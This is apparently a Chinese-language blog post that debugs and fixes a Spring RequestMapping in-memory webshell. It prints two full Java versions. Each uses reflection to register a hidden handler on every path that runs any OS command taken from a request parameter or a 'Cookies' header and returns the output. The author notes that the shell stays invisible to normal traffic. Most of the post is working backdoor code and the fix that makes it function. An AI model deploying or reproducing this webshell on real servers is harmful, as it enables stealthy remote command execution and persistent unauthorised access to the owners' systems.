中午看了下这篇文章https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg,发现了点问题,记录下
选用RequestMapping内存马,demo如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | public class SpringRequestMappingMemshell { public static String doInject(Object requestMappingHandlerMapping) { String msg = "inject-start"; try { Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class); registerHandlerMethod.setAccessible(true); Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class); PathPattern pathPattern = new PathPatternParser().parse("/*"); PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern); ParamsRequestCondition paramsRequestCondition = new ParamsRequestCondition("cmd"); RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, paramsRequestCondition, null, null, null, null); registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo); msg = "inject-success"; }catch (Exception e){ msg = "inject-error"; } return msg; } public ResponseEntity executeCommand(String cmd) throws IOException { // cmd = "calc";"calc" String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); return new ResponseEntity(execResult, HttpStatus.OK); } } |
测试的时候发现注入可以成功,但无法访问executeCommand方法,查看报错堆栈,提示参数错误,没有指定executeCommand需要的String参数,但实际有传。
报错在AbstractNamedValueArgumentResolver.class#updateNamedValueInfo,parameter对象里没获取到参数名,另外或者info.name能获取到也行
查看上级调用,info是通过this.createNamedValueInfo返回的
这个方法的重写方法对应的类,仔细观察都是各种spring里的注解解析类,其实到这也就明白了为啥无法传参,是因为我们的方法没有注解,无法解析参数。
这个其实一开头就应该发现的,我们要写的是RequestMapping
内存马,自然应该想到通过注解来提取参数。像@RequestParam
、@PathVariable
等等。
这里采用@RequestHeader
修改代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | public class SpringRequestMappingMemshell { public static String doInject(Object requestMappingHandlerMapping) { String msg = "inject-start"; try { Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class); registerHandlerMethod.setAccessible(true); Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class); PathPattern pathPattern = new PathPatternParser().parse("/*"); PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern); // ParamsRequestCondition paramsRequestCondition = new ParamsRequestCondition("Cmd"); HeadersRequestCondition headersRequestCondition = new HeadersRequestCondition("Cookies"); RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, headersRequestCondition, null, null, null); registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo); msg = "inject-success"; }catch (Exception e){ msg = "inject-error"; } return msg; } public ResponseEntity executeCommand(@RequestHeader(value = "Cookies") String cmd) throws IOException { // cmd = "calc";"calc" String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); return new ResponseEntity(execResult, HttpStatus.OK); } } |
注入成功
头部插入命令即可,如果指定头部没有,就是正常页面访问,不影响业务。
自动化
至于为啥文章里不需要这么操作也能用,暂时不得而知。
然后这个马存在的问题还有,因为是requestMapping,如果存在拦截器、过滤器等做认证,就会存在无法访问的问题。